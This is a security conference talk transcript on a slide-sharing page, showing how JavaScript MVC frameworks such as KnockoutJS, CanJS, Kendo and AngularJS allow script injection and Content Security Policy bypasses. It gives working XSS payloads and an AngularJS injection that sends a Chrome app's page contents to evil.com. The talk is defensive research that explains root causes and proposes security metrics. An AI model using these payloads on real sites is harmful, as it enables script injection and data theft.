JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009Mario Heiderich
 
The Ultimate IDS Smackdown
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS SmackdownMario Heiderich
 
I thought you were my friend!
I thought you were my friend!I thought you were my friend!
I thought you were my friend!Mario Heiderich
 

More from Mario Heiderich (8)

Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
 
Dev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT Security
 
HTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the Ugly
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious Markup
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
 
JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009
 
The Ultimate IDS Smackdown
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS Smackdown
 
I thought you were my friend!
I thought you were my friend!I thought you were my friend!
I thought you were my friend!
 

Recently uploaded

Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDGMarianaLemus7
 

Recently uploaded (20)

Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Pigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food ManufacturingPigging Solutions in Pet Food Manufacturing
Pigging Solutions in Pet Food Manufacturing
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDG
 

JSMVCOMFG Frameworks Security Risks

  • 1. JSMVCOMFG To sternly look at JavaScript MVC and Templating Frameworks A presentation by Mario Heiderich mario@cure53.de || @0x6D6172696F
  • 2. Infosec Hobgoblin ● Dr.-Ing. Mario Heiderich ● Researcher and Post-Doc, Ruhr-Uni Bochum – ● PhD Thesis on Client Side Security and Defense Founder of Cure53 – – Consulting, Workshops, Trainings – ● Penetration Testing Firm Simply the Best Company of the World Published author and international speaker – Specialized in HTML5 and SVG Security – JavaScript, XSS and Client Side Attacks ● HTML5 Security Cheatsheet ● And something new! – @0x6D6172696F – mario@cure53.de
  • 3. Today ● JavaScript MVC & Templating Frameworks ● Why? Because they are becoming popular ● Yes, we have numbers, wait for it... ● And they are special ● Are there security flaws? ● If yes (heh.. if..) what can we learn from them?
  • 4.
  • 5. What are they ● Written in JavaScript ● Often huge ● Often very complex ● Often maintained by corporations ● Interfaces to enable different coding styles ● Extending, optimizing, changing ● The way developers work with JavaScript ● The way web applications used to work
  • 6.
  • 7. What do they do? ● Claims ● ● ● ● “More productive out of the box” EmberJS “AngularJS lets you extend HTML vocabulary for your application” AngularJS “Fast templates, responsive widgets” “Simple and intuitive, powerful and extensible, lightning fast” JsRender CanJS
  • 8. Examples <script type="text/x-handlebars"> {{outlet}} </script> <script type="text/x-handlebars" id="x"> <h1>People</h1> <ul> {{#each model}} <li>Hello, <b>{{fullName}}</b>! </li> App = Ember.Application.create(); App.Person = Ember.Object.extend({ firstName: null, lastName: null, fullName: function() { return this.get('firstName') + " " + this.get('lastName'); }.property('firstName', 'lastName') }); App.IndexRoute = Ember.Route.extend({ model: function() { var people = [ {{/each}} App.Person.create({ </ul> firstName: "Frank", </script> lastName: "N. Stein" }) ]; return people; }});
  • 9. Examples <!doctype html> <html ng-app> <head> <script src="angular.min.js"></script> </head> <body> <div> <label>Name:</label> <input type="text" ng-model="yourName" placeholder="Your name"> <hr> <h1>Hello {{yourName}}!</h1> </div> </body> </html>
  • 10. Examples <div class="liveExample" id="x"> <select data-bind="options: tickets, optionsCaption: 'Choose...', optionsText: 'name', value: chosenTicket"> <option value="">Economy</option> <option value="">Business</option> <option value="">First Class</option> </select> <button data-bind="enable: chosenTicket, click: resetTicket" disabled="">Clear</button> <p data-bind="with: chosenTicket"></p> <script type="text/javascript"> function TicketsViewModel() { this.tickets = [ { name: "Economy", price: 199.95 }, { name: "Business", price: 449.22 }, { name: "First Class", price: 1199.99 } ]; this.chosenTicket = ko.observable(); this.resetTicket = function() { this.chosenTicket(null) } } ko.applyBindings(new TicketsViewModel(), document.getElementById("x")); </script> </div> Binding stuff Raw Data! Puttin' it togetha
  • 11. So.. ● JSMVC Frameworks do the following ● They extend the DOM ● They “abstractify” the DOM ● They provide new interfaces ● They often use script-templates or “data blocks” “The script element allows authors to include HTML5 HTML5 Approved! Approved! dynamic script and data blocks in their documents.” – – Sometimes ERB-style – ● Often Mustache-style Sometimes something completely different They often use markup-sugar – Custom elements, <hellokitty> – HTML5 data attributes WHATWG
  • 12.
  • 13.
  • 14. Mustache ● Specified in 2009 by Wanstrath ● {{ stuff }} ● {{#is_true}} Bla {{/is_true}
  • 15. JSMVC and Security ● Initial rationale for security research ● ● ● It's trending, it's complex, it's different What else do we need... nothing Poke-first, analyze later ● ● ● Pick a target, thanks TodoMVC! Explore debugging possibilities Goal: Execute arbitrary JavaScript, maybe more ● ● Using otherwise uncommon ways ● ● Using the JSMVC capabilities Assume injection, assume conventional XSS filter After poking, derive a metric for JSMMVC security
  • 16. Pokes ● Why not start with KnockoutJS <script src="knockout-2.3.0.js"></script> <div data-bind="x:alert(1)" /> <script> ko.applyBindings(); </script>
  • 17. Wait... ● JavaScript from within a data-attribute? ● No extra magic, just the colon? ● That's right ● See where we are heading with this? ● Knockout knocks out XSS filters ● ● Chrome's XSS Auditor ● ● IE's XSS Filter Anything that allows data attributes This behavior breaks existing security assumptions!
  • 18.
  • 19. The reason ● “eval” via “Function” parseBindingsString: function(b, c, d) { try { var f; if (!(f = this.Na[b])) { var g = this.Na, e, m = "with($context){with($data||{}){return{" + a.g.ea(b) + "}}}"; e = new Function("$context", "$element", m); f = g[b] = e } return f(c, d) } catch (h) { throw h.message = "Unable to parse bindings.nBindings value: " + b + "nMessage: " + h.message, h; } }
  • 20. Keep pokin' ● CanJS for example <script src="jquery-2.0.3.min.js"></script> <script src="can.jquery.js"></script> <body> <script type="text/ejs" id="todoList"> <%==($a)->abc})-alert(1)-can.proxy(function(){%> </script> <script> can.view('todoList', {}); </script> </body>
  • 21. Reason ● A copy of “eval” called “myEval” myEval = function(script) { eval(script); }, [...] var template = buff.join(''), out = { out: 'with(_VIEW) { with (_CONTEXT) {' + template + " " + finishTxt + "}}" }; // Use `eval` instead of creating a function, because it is easier to debug. myEval.call(out, 'this.fn = (function(_CONTEXT,_VIEW){' + out.out + '});rn//@ sourceURL=' + name + ".jjs"); return out;
  • 22. And even more... <script src="jquery-1.7.1.min.js"></script> <script src="kendo.all.min.js"></script> <div id="x"># alert(1) #</div> <script> var template = kendo.template($("#x").html()); var tasks = [{ id: 1}]; var dataSource = new kendo.data.DataSource({ data: tasks }); dataSource.bind("change", function(e) { var html = kendo.render(template, this.view()); }); dataSource.read(); </script>
  • 23. Keeeeep Pokin' ● AngularJS 1.1.x <script src="angular.min.js"></script> <div class="ng-app"> {{constructor.constructor('alert(1)')()}} </div> ● Or this – even with encoded mustaches <script src="angular.min.js"></script> <div class="ng-app"> &#x7b;&#x7b;constructor.constructor('alert(1)')()&#x7d;&#x7d; </div>
  • 24. Reason ● “eval” via “Function” var code = 'var l, fn, p;n'; forEach(pathKeys, function(key, index) { code += 'if(s === null || s === undefined) return s;n' + 'l=s;n' + 's=' + (index // we simply dereference 's' on any .dot notation ? 's' // but if we are first then we check locals first, and if so read it first : '((k&&k.hasOwnProperty("' + key + '"))?k:s)') + '["' + key + '"]' + ';n' + […] '}n' + ' s=s.$$vn' + '}n'; }); code += 'return s;'; fn = Function('s', 'k', code); // s=scope, k=locals fn.toString = function() { return code; };
  • 25. Sadly for the attacker... ● They fixed it in 1.2.x ● Dammit! ● Good test-cases too! Look... ● function ensureSafeObject(obj, fullExpression) { // nifty check if obj is Function that is fast … other contexts if (obj && obj.constructor === obj) { throw $parseMinErr('isecfn', 'Referencing Function in Angular expressions is disallowed!Expression: {0}', fullExpression); } else { return obj; }
  • 26. Not that hard to solve var foo = {}; foo.bar = 123; foo.baz = 456; console.log(foo.hasOwnProperty('bar')); console.log(foo.hasOwnProperty('baz')); console.log(foo.hasOwnProperty('constructor')); console.log(foo.hasOwnProperty('__proto__')); console.log(foo.hasOwnProperty('prototype')); // // // // // true true false false false
  • 27.
  • 28. CSP ● Most of the JSMVC will not work with CSP ● At least not without unsafe-eval ● That's not gonna help evangelize CSP ● Although there's hope – AngularJS
  • 29. <div ng-app ng-csp> <div ng-app ng-csp>
  • 30. AngularJS ● Features a special CSP mode ● Said to be 30% slower ● But enables AngularJS to work ● Even without unsafe-eval or other nasties ● ● Magick! It also brings back script injections
  • 31. <?php header('X-Content-Security-Policy: default-src 'self'); header('Content-Security-Policy: default-src 'self'); header('X-Webkit-CSP: default-src 'self'); ?> <!doctype html> <html ng-app ng-csp> <head> <script src="angular.min.js"></script> </head> <body onclick="alert(1)"> Click me <h1 ng-mouseover="$event.view.alert(2)"> Hover me </h1> </body> Proper CSP!
  • 32. How do they do it? I. Parse the “ng”-attributes II. Slice out the relevant parts III. Create anonymous functions IV. Connect them with events V. Wait for event handler to fire $element.onclick=function($event){ $event['view']['alert']('1') } ● It's technically not in-line ● Neither is any “eval” being used
  • 33. So, enabling the JSMVC to work with CSP (partly) kills the protection CSP delivers? Aw, yeah, being a pen-tester these days!
  • 34. “Packaged apps deliver an experience as capable as a native app, but as safe as a web page. Just like web apps, packaged apps are written in HTML5, JavaScript, and CSS.” Uhm...
  • 35. “Packaged apps have access to Chrome APIs and services not available to traditional web sites. You can build powerful apps that interact with network and hardware devices, media tools, and much more.” :-O
  • 36. It's bad “Ever played with Chrome Packaged Apps?” ● Very powerful tools ● Similar yet not equivalent to extensions ● Melting the barrier between web and desktop ● HTML + JS + many APIs ● CSP enabled by default ● And work great with AngularJS (of course)
  • 37. Doing the Nasty ● Let's bypass CSP in CPA using Angular ● And escalate some privileges
  • 38. Benign The HTML of <!doctype html> <html ng-app ng-csp> <head> <script src="angular.min.js"></script> <script src="controller.js"></script> <link rel="stylesheet" href="todo.css"> </head> <body> <h2>Todo</h2> <div ng-controller="TodoCtrl"> <span>{{remaining()}} of {{todos.length}} remaining</span> [ <a href="" ng-click="archive()">archive</a> ] <ul class="unstyled"> <li ng-repeat="todo in todos"> <input type="checkbox" ng-model="todo.done"> <span class="done-{{todo.done}}">{{todo.text}}</span> </li> </ul> </div> </body> </html> our fancy app
  • 39. Benign function TodoCtrl($scope) { $scope.todos = [ {text:'learn angular', done:true}, {text:'build an angular app', done:false}]; $scope.remaining = function() { var count = 0; angular.forEach($scope.todos, function(todo) { count += todo.done ? 0 : 1; }); return count; }; $scope.archive = function() { var oldTodos = $scope.todos; $scope.todos = []; angular.forEach(oldTodos, function(todo) { if (!todo.done) $scope.todos.push(todo); }); }; } Our Controller Code, AngularJS
  • 40. Benign { "manifest_version": 2, "name": "Lab3b MVC with controller", "permissions": ["webview"], "version": "1", "app": { "background": { "scripts": ["main.js"] } }, "icons": { "128": "icon.png" } } The Manifest, Permissions too
  • 41. Attacked <!doctype html> <html ng-app ng-csp> <head> <script src="angular.min.js"></script> <script src="controller.js"></script> <link rel="stylesheet" href="todo.css"> </head> <body> <h2 ng-click="invalid( w=$event.view, x=w.document.createElement('webview'), x.src='http://evil.com/?'+w.btoa(w.document.body.innerHTML), w.document.body.appendChild(x) )">Todo-shmoodoo</h2> <div ng-controller="TodoCtrl"> <span>{{remaining()}} of {{todos.length}} remaining</span> [ <a href="" ng-click="archive()">archive</a> ] <ul class="unstyled"> <li ng-repeat="todo in todos"> <input type="checkbox" ng-model="todo.done"> <span class="done-{{todo.done}}">{{todo.text}}</span> </li> </ul> </div> </body> </html> Oh, Sh*t!
  • 42.
  • 43.
  • 44.
  • 45. Happy testing – there's a lot more to find!
  • 46. For example this... <div class="ng-include:'//ø.pw'">
  • 47. More CSP Bypasses ● And even a much better one ● ● Upload a GIF ● ● Inject a class attribute Get a free AngularJS + HTML5 CSP Bypass Wanna see?
  • 48. Let's upload a pic! <span class="ng-include:'test.gif'"> </span> Now we inject a class attribute It's a valid GIF but also contains payload! – including the image as HTML! Now it imports itself <link rel="import" href="test.gif"> Thereby loads itself as JS <script src="test.gif"></script> “And pop goes the weasel”
  • 49. “It looks like we will agree to disagree on the importance of the HTML imports issue -- we don't think it's possible for a third party to execute arbitrary Javascript via the process you describe, so the risk of unsanitized HTML would be one that the developer was taking on deliberately.”
  • 50. Quick Recap ● What have we seen today ● Rotten Markup-Sugar ● JavaScript exec. from data-attributes ● JavaScript exec. from any element ● JavaScript exec. within encoded mustache ● A full-blown CSP Bypass ● The reasons for all these ● Oh – and an attack against Chrome Packaged Apps ● And it was just the tip of the iceberg ● Lots of “eval” and bad coding practices
  • 51.
  • 53. Metrics ● While root causes persist, new challenges arise ● We need to build metrics ● After having analyzed 12 frameworks: Here's a proposal {}SEC-A Are template expressions equivalent to a JavaScript eval? {}SEC-B Is the the execution scope well isolated or sand-boxed? {}SEC-C Can arbitrary HTML elements serve as template containers? {}SEC-D Does the framework allow, encourage or even enforce separation of code and content? {}SEC-E Does the framework maintainer have a security response program? {}SEC-F Does the Framework allow safe CSP rules to be used
  • 54.
  • 55. Conclusion ● JSMVC requires new security requirements ● No reflected content from the server within template containers ● Sometimes, everything is a template container ● Strict separation is necessary ● And there is hope! ● Maybe JSMVC eliminates XSS ● Because it changes how we design applications. ● And does by boosting and not hindering productivity ● Interested in collaborating on this? Contact me!